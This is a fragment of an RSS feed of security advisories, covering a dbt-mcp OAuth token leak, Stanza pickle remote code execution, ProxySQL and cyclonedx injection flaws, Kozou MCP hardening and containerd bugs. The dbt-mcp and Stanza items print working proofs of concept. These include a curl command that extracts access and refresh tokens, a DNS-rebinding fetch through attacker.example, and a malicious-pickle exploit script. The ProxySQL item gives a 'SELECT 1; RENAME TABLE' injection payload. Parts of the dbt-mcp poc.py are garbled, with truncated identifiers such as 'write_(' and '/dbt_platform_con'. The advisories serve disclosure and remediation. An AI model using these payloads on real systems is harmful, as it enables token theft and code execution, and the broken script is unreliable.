                <description><![CDATA[## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

### Summary

The local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).**

### Details

During the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the "OAuth helper") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.

**Data flow from source to sink:**

1. **Source** — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.
2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.
3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.
4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.
5. **Persistence sink** — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk.
6. **HTTP sink** — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.

```python
# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
    logger.info("Selected project received")
    return dbt_platform_context_manager.read_context() or DbtPlatformContext()
```

```python
# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
    access_token: str
    refresh_token: str
    ...

class DbtPlatformContext(BaseModel):
    decoded_access_token: DecodedAccessToken | None = None
    ...
```

**Missing protections (confirmed by grep):**

- No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.
- No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response.
- No CSRF protection, no session nonce, no `Origin` header validation.
- The route has no FastAPI `Depends()` security dependency.

A `grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin"` across the OAuth FastAPI application returns no results.

**Recommended remediation:**

```diff
--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+    if context is None:
+        return DbtPlatformContext()
+    return context.model_copy(update={"decoded_access_token": None})

     app = FastAPI()
+    app.add_middleware(
+        TrustedHostMiddleware,
+        allowed_hosts=["localhost", "127.0.0.1"],
+    )

     @app.get("/dbt_platform_context")
     def get_dbt_platform_context() -> DbtPlatformContext:
         logger.info("Selected project received")
-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+        return _redact_context(dbt_platform_context_manager.read_context())
```

### PoC

**Prerequisites:**

- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.
- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.
- No `DBT_TOKEN` set (OAuth flow mode active).

**Step 1 — Build the Docker test environment:**

```bash
docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .
```

The `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`:

```dockerfile
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
    "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
    "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
    "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
    "pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```

**Step 2 — Run the PoC:**

```bash
docker run --rm --network=host vuln001-dbt-mcp
```

The PoC script (`poc.py`) performs the following automatically:

1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.
2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.
3. Starts the server on `127.0.0.1:16785` in a background thread.
4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header.
5. Asserts that `access_token` and `refresh_token` are returned verbatim.

**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**

```bash
# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp   # OAuth helper starts on 127.0.0.1:6785

# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
  | jq '.decoded_access_token.access_token_response'
```

**Expected output (Phase 2 observed):**

```
[*] HTTP Status: 200
[*] Full response JSON:
{
  "decoded_access_token": {
    "access_token_response": {
      "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
      "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
      "expires_in": 3600,
      "scope": "user_access offline_access",
      "token_type": "Bearer",
      "expires_at": 9999999999
    },
    ...
  },
  ...
}
[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!
```

**DNS rebinding variant:**

A malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.

### Impact

Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.

This vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
FROM python:3.12-slim

WORKDIR /app

# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
 "authlib~=1.6.7" \
 "fastapi~=0.128.0" \
 "uvicorn~=0.38.0" \
 "pyjwt~=2.12.0" \
 "pyyaml~=6.0.2" \
 "httpx~=0.28.1" \
 "filelock~=3.20.3" \
 "starlette~=0.50.0" \
 "requests>=2.28" \
 "pydantic~=2.0" \
 "pydantic-settings~=2.10.1"

# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:
 - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
 - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
 - GET /dbt_platform_con is accessible with NO authentication at all.
 - Any process on the same host (or a DNS-rebinding browser page) can call it
 and receive the full access_token + refresh_token.

This PoC:
 1. Pre-seeds a con file with fake-but-realistic OAuth tokens
 (simulating a victim who has already completed the OAuth flow).
 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
 4. Confirms the tokens are returned verbatim.
"""

import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path

import httpx
import uvicorn
import yaml

# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE_CONTEXT = {
 "decoded_access_token": {
 "access_token_response": {
 "access_token": FAKE_ACCESS_TOKEN,
 "refresh_token": FAKE_REFRESH_TOKEN,
 "expires_in": 3600,
 "scope": "user_access offline_access",
 "token_type": "Bearer",
 "expires_at": 9999999999,
 },
 "decoded_claims": {
 "sub": "99999",
 "iat": 1700000000,
 "exp": 9999999999,
 },
 },
 "host_prefix": "victimco",
 "dbt_host": "cloud.getdbt.com",
 "account_id": 42,
 "selected_project_ids": None,
 "dev_environment": None,
 "prod_environment": None,
}

PORT = 16785


def start_server(context_file: Path, static_dir: str) -> None:
 """Run the actual vulnerable FastAPI app in a background thread."""
 from authlib.integrations.requests_client import OAuth2Session
 from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
 from dbt_mcp.oauth.fastapi_app import create_app

 context_manager = DbtPlatformContextManager(context_file)

 # A dummy OAuth client — only used by the /oauth-callback route,
 # which this PoC never triggers.
 fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")

 app = create_app(
 oauth_client=fake_oauth_client,
 state_to_verifier={},
 dbt_platform_url="https://cloud.getdbt.com",
 static_dir=static_dir,
 dbt_platform_context_manager=context_manager,
 )

 loop = asyncio.new_event_loop()
 asyncio.set_event_loop(loop)
 config = uvicorn.Config(
 app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
 )
 server = uvicorn.Server(config)
 loop.run_until_complete(server.serve())


def wait_for_server(port: int, timeout: float = 15.0) -> bool:
 import socket

 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 with socket.create_connection(("127.0.0.1", port), timeout=1):
 return True
 except OSError:
 time.sleep(0.2)
 return False


def main() -> int:
 print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak")
 print("=" * 70)

 # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
 context_file = Path("/tmp/dbt_poc_mcp.yml")
 context_file.write_(
 yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
 )
 print(f"[*] Con file written: {context_file}")
 print(f" access_token : {FAKE_ACCESS_TOKEN}")
 print(f" refresh_token : {FAKE_REFRESH_TOKEN}")

 # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
 static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
 (Path(static_dir) / "index.html").write_("dbt OAuth")

 # 3. Start the real vulnerable FastAPI server in a background thread
 t = threading.Thread(
 target=start_server, args=(context_file, static_dir), daemon=True
 )
 t.start()

 print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
 if not wait_for_server(PORT):
 print("[-] FAIL: Server did not start within timeout.")
 return 2

 print("[*] Server is up.")

 # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
 url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
 print(f"\n[*] Sending unauthenticated GET {url}")
 try:
 resp = httpx.get(url, timeout=10)
 except Exception as exc:
 print(f"[-] HTTP request failed: {exc}")
 return 2

 print(f"[*] HTTP Status: {resp.status_code}")

 if resp.status_code != 200:
 print(f"[-] FAIL: Expected 200, got {resp.status_code}")
 print(f" Body: {resp.[:500]}")
 return 1

 try:
 data = resp.json()
 except Exception as exc:
 print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
 return 1

 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")

 # 5. Verify that the tokens are in the response (no redaction, no auth required)
 try:
 leaked_access = (
 data["decoded_access_token"]["access_token_response"]["access_token"]
 )
 leaked_refresh = (
 data["decoded_access_token"]["access_token_response"]["refresh_token"]
 )
 except (KeyError, TypeError) as exc:
 print(f"\n[-] FAIL: Token fields missing from response: {exc}")
 return 1

 print(f"\n[!] LEAKED access_token : {leaked_access}")
 print(f"[!] LEAKED refresh_token : {leaked_refresh}")

 if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
 print(
 "\n[+] VULNERABILITY CONFIRMED:"
 " Tokens returned from /dbt_platform_con WITHOUT authentication!"
 )
 return 0
 else:
 print("\n[-] FAIL: Returned tokens do not match expected values.")
 print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
 print(f" Got access_token : {leaked_access}")
 return 1


if __name__ == "__main__":
 sys.exit(main())
```]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[@cyclonedx/cyclonedx-npm: Shell Injection via Unsanitized --workspace Argument]]></title>
                <link>https://github.com/advisories/GHSA-v75r-vx73-82pj</link>
                <description><![CDATA[## Summary
A command injection vulnerability exists in `@cyclonedx/cyclonedx-npm` when the CLI is invoked with the `--workspace ` option while the environment variable `npm_execpath` is unset or empty.  
User‑supplied `--workspace` values are passed to a subshell without proper sanitization, enabling attackers to inject arbitrary OS commands.  
This issue corresponds to **CWE‑78**: Improper Neutralization of Special Elements used in an OS Command.

The vulnerability was fixed in version [5.0.0][v5.0.0].

## Vulnerability Details

When `cyclonedx-npm` is executed with the `--workspace` option, the provided argument is incorporated into an internal shell command.  
If the environment variable `npm_execpath` is set, the tool uses the npm executable directly and no injection occurs.  
However, when `npm_execpath` is unset or empty, the tool falls back to spawning a subshell and interpolating the `--workspace` value directly into the command string without proper escaping or neutralization.

As a result, specially crafted workspace names can break out of the intended command context and execute arbitrary commands with the privileges of the invoking user.

## Impact

An attacker who can influence the value passed to `--workspace` can execute arbitrary OS commands.  
This may lead to:

* Arbitrary command execution
* Data exfiltration
* Local privilege escalation (depending on how the tool is used)
* Modification or destruction of files accessible to the user running the CLI

The vulnerability affects only scenarios where:
* The user invokes `cyclonedx-npm` with `--workspace `, and
* The environment variable `npm_execpath` is unset or empty

## Exploitation Conditions (High‑Level)

Exploitation requires the attacker to supply or influence the `--workspace` value passed to the CLI.  
If the tool falls back to its subshell execution path, specially crafted workspace identifiers can cause unintended command execution.  
No exploit code is included here to avoid providing weaponizable examples.

## Root Cause

The CLI constructs a shell command using untrusted input from the `--workspace` option.  
Because the fallback code path does not sanitize or escape the workspace value, special shell metacharacters (e.g., `;`, `&&`, `|`) are interpreted by the shell, enabling command injection.

This behavior matches **CWE‑78**.

## Fix

The vulnerability was resolved in [PR #1476], which ensures that workspace values are handled safely and are no longer passed to a subshell in an unsafe manner.

The fix is included in `@cyclonedx/cyclonedx-npm` version [5.0.0][v5.0.0].

## Remediation

* Upgrade to version [5.0.0][v5.0.0] or later, which contains the complete fix.
* As a temporary mitigation for older versions, ensure that the environment variable `npm_execpath` is set before invoking the tool.
* Avoid passing untrusted or user‑controlled values to the `--workspace` option.

[v5.0.0]: https://github.com/CycloneDX/cyclonedx-node-npm/releases/tag/v5.0.0
[PR #1476]: https://github.com/CycloneDX/cyclonedx-node-npm/pull/1476]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Kozou: Unauthenticated MCP HTTP server and bundled dev-stack hardening (DNS-rebinding, request-body limits, read-only reads, default network exposure)]]></title>
                <link>https://github.com/advisories/GHSA-v52w-28xh-v562</link>
                <description><![CDATA[Kozou compiles a PostgreSQL schema into an Admin UI, a REST API, and an MCP server. Several hardening gaps in the bundled HTTP surfaces and the scaffolded dev stack are fixed in **1.8.1**.

## Issues

1. **MCP HTTP server lacked DNS-rebinding protection.** The Streamable HTTP transport is unauthenticated and loopback by default. Without `Host`/`Origin` validation, a malicious web page in the operator's browser could rebind a hostname it controls to the loopback address and drive the MCP endpoint — reading schema metadata, or (when the opt-in `call` execution tool is enabled) executing exposed functions as the execution role.

2. **Unbounded request-body buffering (DoS).** Both the MCP HTTP server and the in-house REST server read the entire request body into memory with no size limit, so a reachable client could drive the process toward memory exhaustion.

3. **Read requests ran in a read/write transaction.** The shared role-transaction envelope opened every request with a plain `BEGIN`, so a `GET` ran read/write. A `SELECT` that reaches a volatile function or a writable / `INSTEAD`-triggered view could perform a write that then commits — the "a GET only reads" contract was left to the serving role's grants rather than enforced.

4. **No-auth dev surfaces published on all interfaces by default.** The scaffolded `docker-compose.yml` (and the quickstart) published the unauthenticated Admin UI and MCP HTTP server — and the default-credential demo database — on every host interface, and the config defaulted those binds to `0.0.0.0`.

## What changed in 1.8.1

- **DNS-rebinding guard (MCP HTTP):** the server validates the `Host` header (and a present `Origin`) against an allowlist before handling any request, on every route. Matching is on the hostname; loopback names are always accepted and an operator can add hosts via configuration. A browser cannot forge `Host`/`Origin`, so this closes the rebinding vector. (This is a browser-rebinding defence; network reachability of an unauthenticated server must still be constrained by the network — see workarounds.)
- **Request-body size cap:** both HTTP servers reject an over-large declared `Content-Length` (413) and enforce the limit while streaming, so a chunked / `Content-Length`-less body cannot grow unbounded. A non-JSON `Content-Type` on a body is rejected with 415. The cap is configurable.
- **Read-only read transactions:** read methods (`GET`) now run in a `READ ONLY` transaction, so the database refuses any write for the duration of the request regardless of the role's grants.
- **Loopback-by-default network posture:** the Admin UI and MCP HTTP server now bind loopback by default; the bundled compose files publish every host port (Admin UI, MCP, database) on `127.0.0.1` only, while the container binds all interfaces internally so the loopback mapping still works. Operators opt into a broader bind explicitly.

## Impact

The MCP HTTP server's exposure is greatest when the opt-in `call` execution tool is enabled and/or the server is reachable beyond loopback. The read/write-transaction issue has effect only when the schema exposes a read path that can write (a volatile-function-backed column or a writable/`INSTEAD`-triggered view) and the serving role holds write grants. The all-interface publish affected anyone who ran the scaffolded `docker compose up` on a host reachable from an untrusted network. Requests run under `SET LOCAL ROLE`, so PostgreSQL still enforces grants/RLS at runtime; these are defense-in-depth and read-contract hardening.

## Affected / patched

- npm packages `kozou`, `@kozou/api`, `@kozou/mcp`, `@kozou/core` (and the lockstep-versioned siblings): affected `]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-48774: ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 3.0.0 through 3.0.8, ProxySQL's GenAI/MC]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-48774</link>
                <description><![CDATA[ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 3.0.0 through 3.0.8, ProxySQL's GenAI/MCP `run_sql_readonly` tool violates its documented read-only contract for MySQL targets. The tool validates only the full input string with a substring blacklist and first-keyword allowlist, but then executes the entire SQL string on a backend connection created with `CLIENT_MULTI_STATEMENTS`. As a result, a caller can submit a read-only first statement followed by a side-effecting second statement, such as `SELECT 1; RENAME TABLE ...`. The validator accepts the payload because it starts with `SELECT` and because side-effecting MySQL statements such as `RENAME TABLE`, `SET`, `RESET`, `LOCK TABLES`, and `KILL` are not rejected by the blacklist. In a live MCP runtime test, the `/mcp/query` endpoint accepted a `run_sql_readonly` request. The MCP response reported success for the first `SELECT`, and direct backend verification showed that the table had actually been renamed. This violates the endpoint's read-only security contract and lets an MCP caller perform backend writes or administrative SQL, limited by the configured MCP target account's database privileges. Version 3.0.9 contains a fix. Other operator mitigations include: keeping MCP disabled unless required; setting a non-empty `mcp-query_endpoint_auth` token before exposing `/mcp/query`; restricting MCP listener network exposure; configuring MCP backend target credentials as database-level read-only users; and adding temporary MCP query rules to block obvious multi-statement patterns.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:47 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders]]></title>
                <link>https://github.com/advisories/GHSA-v5jw-96jm-7h2c</link>
                <description><![CDATA[### Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. 

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.


### Details

The vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0):

```python
try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)
```

When `weights_only=True` is passed, PyTorch's deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python's full pickle deserializer and executes any `__reduce__` method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

**The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:**

| File | Lines |
|------|-------|
| `stanza/models/common/pretrain.py` | 64–66 |
| `stanza/models/coref/model.py` | 251–253, 329–331 |
| `stanza/models/classifiers/trainer.py` | 80–82 |
| `stanza/models/constituency/base_trainer.py` | 94–96 |

Additionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

```
stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle
```

---

### PoC

**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`

**Step 1: Install dependencies:**
```bash
pip install stanza==1.12.0 torch==2.12.0
```

**Step 2: Save the following as `exploit.py`:**

```python
import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the malicious object
}
torch.save(state, MODEL)

# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
    torch.load(MODEL, lambda s, l: s, weights_only=True)
    print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
    print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")

# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache   = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)

print(f"stanza={stanza.__version__}  torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")
```

**Step 3 : Run:**
```bash
python exploit.py
```

**Expected output (confirmed):**
```
Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0  torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH
```

The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.

---

### Impact

**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data

**Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:

- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub
- CI pipelines that automatically refresh Stanza models during builds
- Research environments that share pretrain files over shared network storage or model repositories

**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:
- Compromise of a HuggingFace model repository hosting Stanza pretrain weights
- Poisoning of a shared model cache directory (NFS, S3, artifact store)
- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo

**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.

**Recommended fix:**

Remove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:

```python
try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
    raise RuntimeError(
        f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
        "deserialization. Regenerate the file using a trusted Stanza migration tool."
    ) from e
```

If legacy NumPy-containing pretrain files must be supported, use PyTorch's `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Arbitrary host CRI log file read via symlink following in CRI checkpoint restore]]></title>
                <link>https://github.com/advisories/GHSA-rgh6-rfwx-v388</link>
                <description><![CDATA[### Impact
A bug was found in containerd where the CRI plugin restores `container.log` from a checkpoint image without validating a symlinked path. This could result in reading an arbitrary file on the host via `kubectl logs`.

### Patches
This bug has been fixed in the following containerd versions:

* 2.3.2
* 2.2.5
* 2.1.9

Users should update to these versions to resolve the issue.

### Workarounds
Ensure that only trusted images and checkpoints are used.

### Credits
The containerd project would like to thank @gouldnicholas and @davidrxchester, Yuming Zhang and Song Li of Zhejiang University, Sangwon Ryu (@sangwon090), Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, Robert Prast (@robertprast),
Kyle Elliott (@kyle-elliott-tob) of Trail of Bits, and Zhenchen Wang (@Plucky923), who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).

### For more information

If you have any questions or comments about this advisory:

* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:
* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)
* Email us at [security@containerd.io](mailto:security@containerd.io)]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[containerd CRI — image-config `LABEL` flows to restart-monitor `binary://` logger: host-root command execution from an image pull]]></title>
                <link>https://github.com/advisories/GHSA-xhf5-7wjv-pqxp</link>
                <description><![CDATA[### Impact
A bug was found in containerd where the CRI plugin propagates labels from an image config (`LABEL` instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations.

### Patches
This bug has been fixed in the following containerd versions:

* 2.3.2
* 2.2.5
* 2.1.9
* 2.0.10
* 1.7.33

Users should update to these versions to resolve the issue.

### Workarounds
Ensure that only trusted images are used.

### Credits
The containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).

### For more information

If you have any questions or comments about this advisory:

* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:
* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)
* Email us at [security@containerd.io](mailto:security@containerd.io)]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
